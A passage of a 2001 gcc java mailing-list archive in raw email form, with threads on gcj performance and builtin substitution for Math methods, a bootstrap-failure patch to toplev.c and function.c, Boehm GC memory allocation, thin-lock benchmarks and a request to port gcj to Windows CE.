f6UGqXU22580; Mon, 30 Jul 2001 17:52:33 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15205.37073.297073.161607@cuddles.cambridge.redhat.com> Date: Mon, 30 Jul 2001 17:52:33 +0100 (BST) To: tromey@redhat.com Cc: "Anthony Green" , , Subject: Re: Help with performance issues. In-Reply-To: <87ofq2tlw0.fsf@creche.redhat.com> References: <015c01c1182a$b2676c60$5be6b4cd@cygnus.com> <87ofq2tlw0.fsf@creche.redhat.com> X-Mailer: VM 6.75 under Emacs 20.7.1 Tom Tromey writes: > >>>>> "Anthony" == Anthony Green writes: > > Anthony> It seems like gcj should be able to replace Math.abs() with > Anthony> __builtin_abs in this case. Does anybody think otherwise? > > I think we could consider doing this for any final method with fixed > semantics. For instance, anything in java.lang.Math (taking strictfp > concerns into account, of course). If other final methods are > important for performance, we could inline those too. For instance, > there might be situations where inlining System.arraycopy makes sense. Yeah. All this falls down, though, when we need to inline a *native* method. That would be a good trick... Andrew. From java-return-6652-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:59:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13975 invoked by alias); 30 Jul 2001 16:59:10 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13913 invoked from network); 30 Jul 2001 16:59:08 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:59:08 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA09539; Mon, 30 Jul 2001 10:59:04 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id LAA14694; Mon, 30 Jul 2001 11:26:59 -0600 To: Andrew Haley Cc: "Anthony Green" , , Subject: Re: Help with performance issues. References: <015c01c1182a$b2676c60$5be6b4cd@cygnus.com> <87ofq2tlw0.fsf@creche.redhat.com> <15205.37073.297073.161607@cuddles.cambridge.redhat.com> X-Zippy: I selected E5... but I didn't hear ``Sam the Sham and the Pharaohs''! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 30 Jul 2001 11:26:58 -0600 In-Reply-To: Andrew Haley's message of "Mon, 30 Jul 2001 17:52:33 +0100 (BST)" Message-ID: <87bsm2jpjx.fsf@creche.redhat.com> Lines: 25 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Andrew" == Andrew Haley writes: >> I think we could consider doing this for any final method with fixed >> semantics. For instance, anything in java.lang.Math (taking strictfp >> concerns into account, of course). If other final methods are >> important for performance, we could inline those too. For instance, >> there might be situations where inlining System.arraycopy makes sense. Andrew> All this falls down, though, when we need to inline a *native* Andrew> method. That would be a good trick... In the above case (final methods with fixed semantics), we can do this. That's because we aren't "inlining" -- we are recognizing the name of the function and replacing the call with a builtin (or with the equivalent code). So for instance we could replace Math.cos with __builtin_cos. Ditto Math.max(double,double), etc. Inlining C++ into Java would be hard. We could either merge the compilers, or we could do link-time inlining. These both seem dauntingly hard. Inlining Java into C++ can be done much more easily. We could replace the trivial decompilation code in gcjh with a real decompiler. Tom From java-return-6653-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 16:59:14 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14133 invoked by alias); 30 Jul 2001 16:59:13 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13984 invoked from network); 30 Jul 2001 16:59:10 -0000 Received: from unknown (HELO atrey.karlin.mff.cuni.cz) (195.113.31.123) by sourceware.cygnus.com with SMTP; 30 Jul 2001 16:59:10 -0000 Received: (from hubicka@localhost) by atrey.karlin.mff.cuni.cz (8.9.3/8.9.3/Debian 8.9.3-21) id SAA00940; Mon, 30 Jul 2001 18:59:09 +0200 Date: Mon, 30 Jul 2001 18:59:09 +0200 From: Jan Hubicka To: Gerald Pfeifer , gcc-patches@gcc.gnu.org, rth@cygnus.com Cc: Jan Hubicka , Richard Henderson , gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: Bootstrap failure: element 1863 out of bounds in merge_blocks_nomove, at flow.c:2887 Message-ID: <20010730185909.B473@atrey.karlin.mff.cuni.cz> References: <20010730171516.I31346@atrey.karlin.mff.cuni.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.15i In-Reply-To: ; from pfeifer@dbai.tuwien.ac.at on Mon, Jul 30, 2001 at 06:33:21PM +0200 > On Mon, 30 Jul 2001, Jan Hubicka wrote: > >> We have a new bootstrap failure for a plain build on sparc-sun-solaris2.8: > > I've got equivalent bugreport some time ago. > > I am just giong to test sparc with following patch. If you can do it > > yourself easilly, please let me know > > > > Mon Jul 30 16:32:49 CEST 2001 Jan Hubicka > > * toplev.c (rest_of_compilation): Recompute block_for_insn > > before post-reload cfg_cleanup. > > * function.c (thread_prologue_epilogue_insns): > > Call set_block_for_new_insns when emitting prologue directly. > > Yes, this indeed makes the bootstrap reach stage3 on sparc-sun-solaris2.8, > that is, it seems to solve the problem I reported. I've got sucesfull bootstrap on sparc in meantime too. OK to install? Mon Jul 30 16:32:49 CEST 2001 Jan Hubicka * toplev.c (rest_of_compilation): Recompute block_for_insn before post-reload cfg_cleanup. * function.c (thread_prologue_epilogue_insns): Call set_block_for_new_insns when emitting prologue directly. Index: toplev.c =================================================================== RCS file: /cvs/gcc/egcs/gcc/toplev.c,v retrieving revision 1.501 diff -c -3 -p -r1.501 toplev.c *** toplev.c 2001/07/29 17:01:53 1.501 --- toplev.c 2001/07/30 14:32:20 *************** rest_of_compilation (decl) *** 3473,3491 **** verify_flow_info (); #endif /* If optimizing, then go ahead and split insns now. */ if (optimize > 0) split_all_insns (0); ! cleanup_cfg (0); /* On some machines, the prologue and epilogue code, or parts thereof, can be represented as RTL. Doing so lets us schedule insns between it and the rest of the code and also allows delayed branch scheduling to operate in the epilogue. */ thread_prologue_and_epilogue_insns (insns); - - compute_bb_for_insn (get_max_uid ()); if (optimize) { --- 3473,3491 ---- verify_flow_info (); #endif + compute_bb_for_insn (get_max_uid ()); + /* If optimizing, then go ahead and split insns now. */ if (optimize > 0) split_all_insns (0); ! cleanup_cfg (optimize ? CLEANUP_EXPENSIVE : 0); /* On some machines, the prologue and epilogue code, or parts thereof, can be represented as RTL. Doing so lets us schedule insns between it and the rest of the code and also allows delayed branch scheduling to operate in the epilogue. */ thread_prologue_and_epilogue_insns (insns); if (optimize) { Index: function.c =================================================================== RCS file: /cvs/gcc/egcs/gcc/function.c,v retrieving revision 1.285 diff -c -3 -p -r1.285 function.c *** function.c 2001/07/29 02:10:41 1.285 --- function.c 2001/07/30 14:32:31 *************** thread_prologue_and_epilogue_insns (f) *** 7226,7232 **** inserted = 1; } else ! emit_insn_after (seq, f); } #endif --- 7226,7233 ---- inserted = 1; } else ! set_block_for_new_insns (emit_insn_after (seq, f), ! ENTRY_BLOCK_PTR->succ); } #endif From java-return-6654-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 17:43:54 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11243 invoked by alias); 30 Jul 2001 17:43:53 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11160 invoked from network); 30 Jul 2001 17:43:48 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 30 Jul 2001 17:43:48 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id BFF77ABAA1; Mon, 30 Jul 2001 18:43:34 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6UHhYr22735; Mon, 30 Jul 2001 18:43:34 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15205.40134.698936.949889@cuddles.cambridge.redhat.com> Date: Mon, 30 Jul 2001 18:43:34 +0100 (BST) To: tromey@redhat.com Cc: "Anthony Green" , , Subject: Re: Help with performance issues. In-Reply-To: <87bsm2jpjx.fsf@creche.redhat.com> References: <015c01c1182a$b2676c60$5be6b4cd@cygnus.com> <87ofq2tlw0.fsf@creche.redhat.com> <15205.37073.297073.161607@cuddles.cambridge.redhat.com> <87bsm2jpjx.fsf@creche.redhat.com> X-Mailer: VM 6.75 under Emacs 20.7.1 Tom Tromey writes: > >>>>> "Andrew" == Andrew Haley writes: > > >> I think we could consider doing this for any final method with fixed > >> semantics. For instance, anything in java.lang.Math (taking strictfp > >> concerns into account, of course). If other final methods are > >> important for performance, we could inline those too. For instance, > >> there might be situations where inlining System.arraycopy makes sense. > > Andrew> All this falls down, though, when we need to inline a *native* > Andrew> method. That would be a good trick... > > In the above case (final methods with fixed semantics), we can do > this. That's because we aren't "inlining" -- we are recognizing the > name of the function and replacing the call with a builtin Yeah. I was having a flight of fantasy... > Inlining Java into C++ can be done much more easily. We could replace > the trivial decompilation code in gcjh with a real decompiler. Cool... :-) Andrew. From java-return-6655-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 18:07:36 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 25855 invoked by alias); 30 Jul 2001 18:07:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 25715 invoked from network); 30 Jul 2001 18:07:32 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 30 Jul 2001 18:07:32 -0000 Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA28768; Mon, 30 Jul 2001 11:07:31 -0700 (PDT) Received: (from rth@localhost) by dot.cygnus.com (8.11.0/8.11.0) id f6UI7Vh03096; Mon, 30 Jul 2001 11:07:31 -0700 X-Authentication-Warning: dot.cygnus.com: rth set sender to rth@redhat.com using -f Date: Mon, 30 Jul 2001 11:07:31 -0700 From: Richard Henderson To: Jan Hubicka Cc: Gerald Pfeifer , gcc-patches@gcc.gnu.org, gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: Bootstrap failure: element 1863 out of bounds in merge_blocks_nomove, at flow.c:2887 Message-ID: <20010730110731.E3057@redhat.com> Mail-Followup-To: Richard Henderson , Jan Hubicka , Gerald Pfeifer , gcc-patches@gcc.gnu.org, gcc-bugs@gcc.gnu.org, java@gcc.gnu.org References: <20010730171516.I31346@atrey.karlin.mff.cuni.cz> <20010730185909.B473@atrey.karlin.mff.cuni.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010730185909.B473@atrey.karlin.mff.cuni.cz>; from jh@suse.cz on Mon, Jul 30, 2001 at 06:59:09PM +0200 On Mon, Jul 30, 2001 at 06:59:09PM +0200, Jan Hubicka wrote: > * toplev.c (rest_of_compilation): Recompute block_for_insn > before post-reload cfg_cleanup. > * function.c (thread_prologue_epilogue_insns): > Call set_block_for_new_insns when emitting prologue directly. Ok. r~ From java-return-6656-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 22:03:57 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32310 invoked by alias); 30 Jul 2001 22:03:57 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32225 invoked from network); 30 Jul 2001 22:03:50 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 30 Jul 2001 22:03:50 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id PAA25469; Mon, 30 Jul 2001 15:03:22 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6UM3lX18119; Mon, 30 Jul 2001 15:03:48 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 30 Jul 2001 15:03:47 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id ; Mon, 30 Jul 2001 15:03:46 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F76@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'Anthony Green'" , Bryce McKinlay , Antonio Ake Cc: Jeff Sturm , java@gcc.gnu.org Subject: RE: Problem --with-gc=simple. Date: Mon, 30 Jul 2001 15:03:46 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Unfortunately, you also need to look at the GET_MEM definition in gc_priv.h. It should have been moved to gcconfig.h a long time ago, but hasn't yet. On most Un*x-like systems, the default is to use sbrk to get memory, unless USE_MMAP is defined. On a few systems, that's not reliable becasue you can't interleave mmap and malloc calls. (In my opinion, this basically means sbrk is broken, but ...) There are also other potential reasons to use mmap, but by default the collector usually doesn't. The third common alternative is to get memory from the system malloc. That incurs a bit of a space performance cost, because it virtually guarantees that different heap sections are never contiguous (due to the malloc header), thus increasing fragmentation. Hans > -----Original Message----- > From: Anthony Green [mailto:green@redhat.com] > Sent: Thursday, July 26, 2001 5:34 AM > To: Bryce McKinlay; Antonio Ake > Cc: Jeff Sturm; java@gcc.gnu.org > Subject: Re: Problem --with-gc=simple. > > > Bryce wrote: > > You probibly want to look in the boehm-gc directory and see > if you can > make it > > use something other than mmap() on your target. Take a look > at os-dep.c. > > Right. I've run gcj code on a number of different simulator targets > recently. It sounds like Antonio needs to configure things > properly in > gcconfig.h. I think mmap is used to get memory for some > unix targets. For > embedded target's we've simulated we simply define our own > "sbrk" which > returns memory from a statically allocated heap. Search for ECOS in > os-dep.c. > > AG > > From java-return-6657-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 30 22:07:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1111 invoked by alias); 30 Jul 2001 22:07:46 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1006 invoked from network); 30 Jul 2001 22:07:29 -0000 Received: from unknown (HELO wirth.dev.parochus.com) (156.62.225.44) by sourceware.cygnus.com with SMTP; 30 Jul 2001 22:07:29 -0000 Received: from parochus.com (IDENT:jason@wirth [127.0.0.1]) by wirth.dev.parochus.com (8.11.0/8.11.0) with ESMTP id f6VA56f01343 for ; Tue, 31 Jul 2001 22:05:06 +1200 Message-ID: <3B6682D1.42223B68@parochus.com> Date: Tue, 31 Jul 2001 22:05:05 +1200 From: Jason Swain Organization: Parochus Software Ltd X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.6 i686) X-Accept-Language: en MIME-Version: 1.0 To: java@gcc.gnu.org Subject: Porting to Windows CE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit We've got some Java code that compiles with gcj on linux, but we want to run this code on a variety of mobile devices, so porting gcj to these devices would be really useful to us. We don't really have the resources to do this ourselves but would like to help make this happen. A breakdown of what we need is as follows: 1. We need gcc support for WindowsCE (MIPS and ARM). There was some work on this but it doesn't seem to be complete. 2. We need libgcj ports to Windows CE and Symbian EPOC. If anyone has ideas on how difficult this would be, we would be interested in hearing them. I'd like to get some suggestions on what is the best way to make this happen, while helping the free software community rather than exploiting it. We could pay someone to do this (anyone interested?), but there may be better options such as rewarding an existing contributor that was willing to put the effort in to work on what we need, or making a donation to the FSF, or providing hardware for existing developers/special projects etc. Anyone got any good ideas? Another option is we could put some effort into packaging some of our java code up and releasing it as free software, kind of a time swap, someone helps us with an area we are not good at (porting C code), and we help out by putting time into increasing the pool of free code in an area we are good at. I know people will be thinking we should be doing this anyway, but as an early stage startup we only have limited resources, this kind of project is way down the priority list, we will release it one day, just when we get the time. Something like this could make us prioritize that task. The code I'm thinking of is general purpose toolkit code that we have built up over the last three years or so on a number of projects. Or we could take requests for some java code that needs written. Jason -- Jason Swain Chief Executive Officer Parochus Software Ltd - www.parochus.com From java-return-6658-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 31 01:11:30 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 15518 invoked by alias); 31 Jul 2001 01:11:29 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15497 invoked from network); 31 Jul 2001 01:11:28 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 31 Jul 2001 01:11:28 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id VAA00976; Mon, 30 Jul 2001 21:10:06 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Mon, 30 Jul 2001 21:10:06 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: "Boehm, Hans" cc: Tom Tromey , Bryce McKinlay , java@gcc.gnu.org Subject: RE: Synchronization article on developerWorks In-Reply-To: <140D21516EC2D3119EE7009027876644049B5F6B@hplex1.hpl.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 26 Jul 2001, Boehm, Hans wrote: > I don't think that patch is sufficient, since you also need to check that > the address corresponds to the object you're looking for. Even if it is, > you would neeed to increment the light_count field, unlike the other case. All of that should be done after the conditional. My only change was to short-circuit the CAS. I'm assuming if this thread sees he->light_thr_id == self then he->address must not be NULL. > The harder question is whether the added test is worth it. I believe the > rule of thumb in one of the IBM papers was that reentrant locks have about > 10% of the frequency of initial uncontested locks. At that rate it's > probably not worth it. But I gather those statistics vary for other > applications. Good point. I'd assumed the compare_and_swap is far more expensive than a simple load and compare. That's not quite correct; a failed compare_and_swap may be comparatively fast. I instrumented the locking functions a little to obtain some rough numbers for each of three benchmarks. The first measures a simple monitor enter/exit loop, the second measures the same loop while the lock is held by the same thread, and the third measures two threads competing for the same lock: -- simple ----- reentrant ---- concurrent Name Count Pct Count Pct Count Pct ---- ----- --- ----- --- ----- --- _Jv_ThreadSelf 3666 9.7 3710 15.2 6231 8.1 compare_and_swap 23729 62.8 346 1.4 45408 59.3 compare_and_swap_release 1490 3.9 3384 4.4 _Jv_MonitorEnter 4518 11.9 11897 49.2 6900 9.0 _Jv_MonitorExit 2885 7.6 6189 25.6 7857 10.3 run 1521 4.0 2027 8.4 5881 7.7 total 37810 98.9 24171 98.9 75663 98.9 So compare_and_swap dominates the first and third, but is negligible in the middle column... not exactly what I expected. I'm not sure why _Jv_MonitorEnter goes so high. Branch misprediction is one possibility. Jeff From java-return-6659-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 31 02:47:12 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 1255 invoked by alias); 31 Jul 2001 02:47:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 1084 invoked from network); 31 Jul 2001 02:46:52 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 31 Jul 2001 02:46:52 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA03669; Mon, 30 Jul 2001 20:46:49 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id VAA18627; Mon, 30 Jul 2001 21:14:51 -0600 To: Jason Swain Cc: java@gcc.gnu.org Subject: Re: Porting to Windows CE References: <3B6682D1.42223B68@parochus.com> X-Zippy: I wonder if I could ever get started in the credit world? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 30 Jul 2001 21:14:51 -0600 In-Reply-To: Jason Swain's message of "Tue, 31 Jul 2001 22:05:05 +1200" Message-ID: <8766c9lrh0.fsf@creche.redhat.com> Lines: 60 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jason" == Jason Swain writes: Jason> 1. We need gcc support for WindowsCE (MIPS and ARM). There was Jason> some work on this but it doesn't seem to be complete. Jason> 2. We need libgcj ports to Windows CE and Symbian EPOC. I personally don't know much about CE, and I know nothing about EPOC. The Windows port in general is still incomplete. However, it is making progress. There are some patches floating around to make it better; these will be checked in once the copyright assignment problems have been resolved. (To those involved: any word on that?) I think architecture-wise you're probably ok. I think the MIPS and ARM ports work fine. Neither libffi port has been completed, so the interpreter won't work on these platforms (I don't know if that is important to you). I've never done a port of the libffi closure code, so I couldn't say how long that would take. If you want thin locks to work (this is a gcc 3.1 thing -- doesn't appear in 3.0) then some assembly language is required. I think the thin locks so far have only been ported to x86, IA-64, and alpha. I don't know how hard this is either. OS-wise, the following things are needed for a port: * A port of the GC. Generally speaking this isn't very hard. However, whether it is possible depends on some details of your thread implementation. I don't know whether the GC has yet been ported to WinCE. * A port of the libgcj thread layer. There are some docs on this on the web site. It isn't too hard in theory. * A port of the libgcj file handling code. This is usually pretty straightforward. There is code for FileDescriptor and code for File. * The libgcj networking code has never been ported to a non-POSIXy OS. If you want that then it might be difficult. Or maybe there is a compatibility layer for your OS that you could use. * There is some process handling code in libgcj that would need to be ported. * There's some miscellaneous stuff in System and maybe Runtime. This is easy. Some other notes: * If your OS doesn't have iconv(), then character set support in libgcj is very limited. * For a long time we've wanted to separate the underlying FileDescriptor code so it can be different for files and for sockets. I think this is required for the Windows port to work correctly. This still hasn't been done. Tom From java-return-6660-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 31 04:07:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 15623 invoked by alias); 31 Jul 2001 04:07:42 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15602 invoked from network); 31 Jul 2001 04:07:38 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 31 Jul 2001 04:07:38 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id AAA03471; Tue, 31 Jul 2001 00:07:31 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Tue, 31 Jul 2001 00:07:31 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Tom Tromey cc: java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 In-Reply-To: <87elr3npsu.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 26 Jul 2001, Tom Tromey wrote: > I do think we at least need to have -fkeep-inline-functions be the > default. A separate issue, I guess. How would you suggest I get this into the specs? I'm still weak on that part of the compiler. Jeff From java-return-6661-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 31 04:30:41 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21877 invoked by alias); 31 Jul 2001 04:30:39 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21788 invoked from network); 31 Jul 2001 04:30:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 31 Jul 2001 04:30:35 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA16041; Mon, 30 Jul 2001 22:30:31 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id WAA20695; Mon, 30 Jul 2001 22:58:34 -0600 To: Jeff Sturm Cc: java@gcc.gnu.org Subject: Re: gcj performance on Solaris 2.6 References: X-Zippy: Then, it's off to RED CHINA!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 30 Jul 2001 22:58:33 -0600 In-Reply-To: Jeff Sturm's message of "Tue, 31 Jul 2001 00:07:31 -0400 (EDT)" Message-ID: <87zo9lae4m.fsf@creche.redhat.com> Lines: 19 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Jeff" == Jeff Sturm writes: Jeff> How would you suggest I get this into the specs? I'm still weak Jeff> on that part of the compiler. One way, if it works, would be to add it in libgcj.spec. That is a very easy (though a bit obscure). You'd have to test to make sure the user can successfully disable it though. Otherwise, one way would be to add something like this to the @java entry in lang-specs.h: %{!fno-keep-inline-functions:-fkeep-inline-functions} This is still a bit obscure. I think it would be nicer to explicitly initalize flag_keep_inline_functions somewhere. But that might not be (easily) possible. Tom From java-return-6662-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 31 09:15:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3869 invoked by alias); 31 Jul 2001 09:15:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3838 invoked from network); 31 Jul 2001 09:15:22 -0000 Received: from unknown (HELO remover.netpd.com) (213.219.36.26) by sourceware.cygnus.com with SMTP; 31 Jul 2001 09:15:22 -0000 Received: from [213.219.36.26] (unknown [213.219.36.26]) by remover.netpd.com (Postfix) with ESMTP id 9106C144395 for ; Tue, 31 Jul 2001 10:21:01 +0100 (BST) Date: Tue, 31 Jul 2001 10:21:01 +0100 (BST) From: Bill Bland Reply-To: wjb@netpd.com To: java@gcc.gnu.org Subject: Re: Help with performance issues. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello again, Thanks for all the advice - some very interesting suggestions. The Math.abs problem sounded likely to me, so I defined the following: static final int abs( int x ) { if( (0x80000000 & x) == 0 ) return x; else return -x; } and replaced all the occurrences of Math.abs with the new method. Unfortunately, while I did get a slight speed-up with this, it wasn't enough to close the gap between jdk1.3 and gcj in any significant way. Thanks again for all the suggestions. Any other ideas greatly appreciated! Thanks in advance, William Bland. From java-return-6663-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 31 13:31:37 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 24905 invoked by alias); 31 Jul 2001 13:31:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 24860 invoked from network); 31 Jul 2001 13:31:26 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 31 Jul 2001 13:31:26 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 77E1FABAA1; Tue, 31 Jul 2001 14:31:24 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6VDVO924226; Tue, 31 Jul 2001 14:31:24 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15206.45868.304277.206339@cuddles.cambridge.redhat.com> Date: Tue, 31 Jul 2001 14:31:24 +0100 (BST) To: wjb@netpd.com Cc: java@gcc.gnu.org Subject: Help with performance issues. In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 20.7.1 Bill Bland writes: > We were having problems with the performance of our java > application under sun's jdk1.3 (using Mandrake linux 8 on an i686). > I decided to try gcj to see if it would run faster. I got the > source for gcc 3.0 and followed the installation instructions, and > after a few 